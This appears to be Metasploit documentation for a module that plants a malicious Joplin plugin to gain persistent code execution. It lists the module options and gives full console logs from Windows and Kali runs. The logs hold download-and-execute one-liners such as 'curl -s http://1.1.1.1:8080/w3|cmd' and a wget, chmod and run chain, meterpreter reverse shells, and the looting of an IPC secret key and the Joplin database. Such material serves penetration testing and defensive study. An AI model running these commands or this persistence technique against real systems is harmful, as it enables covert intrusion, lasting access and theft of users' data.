documentation/modules/exploit/multi/persistence/joplin_plugin.md
This module installs a malicious Joplin plugin (.jpl) into the target's Joplin plugin directory. The plugin executes the payload each time Joplin is launched, providing persistent code execution. Joplin can not be running at the time of plugin installation, or it will be overwriten at shutdown. The module can optionally kill Joplin if it is detected running.
Tested against Joplin 3.6.11 on Windows 10, 3.6.10 on Kali
use exploit/multi/persistence/joplin_pluginset session [#]runName of the plugin. Defaults to random
Description of the plugin. Defaults to empty string ``
User to target, or current user if blank. Defaults to current user
Full path to Joplin database.sqlite on target (auto-detected if blank). Defaults to ``
Kill Joplin if it is running before modifying the database
Original shell
$ ./msfconsole -q
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
[*] Using configured payload windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
fetch_command => CURL
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
fetch_pipe => true
resource (/root/.msf4/msfconsole.rc)> set lport 4450
lport => 4450
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
FETCH_URIPATH => w3
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
FETCH_FILENAME => mkaKJBzbDB
resource (/root/.msf4/msfconsole.rc)> to_handler
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/wOmdFrrym6hYB_VUkWOR6A & start /B %TEMP%\mkaKJBzbDB.exe
[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /wOmdFrrym6hYB_VUkWOR6A
[*] Adding resource /w3
[*] Started reverse TCP handler on 1.1.1.1:4450
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
[*] Client 2.2.2.2 requested /wOmdFrrym6hYB_VUkWOR6A
[*] Sending payload to 2.2.2.2 (curl/8.13.0)
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:63459) at 2026-05-12 09:39:42 -0400
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PTMHF3\h00die
meterpreter > sysinfo
Computer : DESKTOP-3PTMHF3
OS : Windows 10 22H2+ (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
Persistence
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/multi/persistence/joplin_plugin
[*] Using configured payload windows/meterpreter/reverse_tcp
msf exploit(multi/persistence/joplin_plugin) > set session 1
session => 1
msf exploit(multi/persistence/joplin_plugin) > set payload payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp
payload => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf exploit(multi/persistence/joplin_plugin) > exploit
[*] Powershell command length: 4391
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/joplin_plugin) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using plugin name: com.quvaf.BiIMjN
[*] Target user: h00die
[+] IPC secret key saved to loot: /root/.msf4/loot/20260512094012_default_2.2.2.2_joplin.ipc_secre_971207.txt
[*] Writing plugin to: C:\Users\h00die\.config\joplin-desktop\plugins\com.quvaf.BiIMjN.jpl (9728 bytes)
[+] Plugin written to C:\Users\h00die\.config\joplin-desktop\plugins\com.quvaf.BiIMjN.jpl
[!] Joplin is currently running — the database modification will be overwritten when Joplin closes.
[!] Close Joplin completely and re-run this module, or set KILLJOPLIN true to kill it automatically.
[!] The .jpl file has been written; only the database registration step will be skipped.
[*] If the payload does not execute, check log files in C:\Users\h00die\.config\joplin-desktop for plugin errors
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/DESKTOP-3PTMHF3_20260512.4013/DESKTOP-3PTMHF3_20260512.4013.rc
[*] Sending stage (248902 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:63484) at 2026-05-12 09:40:37 -0400
msf exploit(multi/persistence/joplin_plugin) >
Original shell
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Wuo9HQrg --no-check-certificate http://1.1.1.1:8082/l; chmod +x Wuo9HQrg; ./Wuo9HQrg& disown
msf exploit(multi/script/web_delivery) >
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:54686) at 2026-05-13 06:42:25 -0400
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer : h00die-kali
OS : Debian (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
Persistence
msf exploit(multi/script/web_delivery) > use exploit/multi/persistence/joplin_plugin
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/persistence/joplin_plugin) > set session 1
session => 1
msf exploit(multi/persistence/joplin_plugin) > set target 1
target => 1
msf exploit(multi/persistence/joplin_plugin) > exploit
[*] Command to run on remote host: curl -so ./LVPQpYIK http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./LVPQpYIK;./LVPQpYIK&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(multi/persistence/joplin_plugin) > [*] Using plugin name: com.btetnf.DWcxFW
[*] Target user: h00die
[+] IPC secret key saved to loot: /root/.msf4/loot/20260513064257_default_1.1.1.1_joplin.ipc_secre_240268.txt
[*] Writing plugin to: /root/.config/joplin-desktop/plugins/com.btetnf.DWcxFW.jpl (4096 bytes)
[+] Plugin written to /root/.config/joplin-desktop/plugins/com.btetnf.DWcxFW.jpl
[*] Downloading Joplin database...
[+] Database saved to loot: /root/.msf4/loot/20260513064258_default_1.1.1.1_joplin.database_370015.sqlite
[*] Found 1 existing plugins.states row(s)
Joplin Plugin States
====================
Plugin ID Enabled Deleted Has Been Updated
--------- ------- ------- ----------------
com.btetnf.DWcxFW true false false
io.github.jackgruber.backup true false false
io.github.personalizedrefrigerator.js-draw true false false
[*] Re-uploading modified database...
[+] Plugin registered in Joplin database
[*] Joplin is not running — launch it to trigger the plugin
[*] If the payload does not execute, check log files in /root/.config/joplin-desktop for plugin errors
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260513.4258/h00die-kali_20260513.4258.rc
msf exploit(multi/persistence/joplin_plugin) >
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
[*] Sending payload to 1.1.1.1 (curl/8.19.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:45882) at 2026-05-13 06:43:15 -0400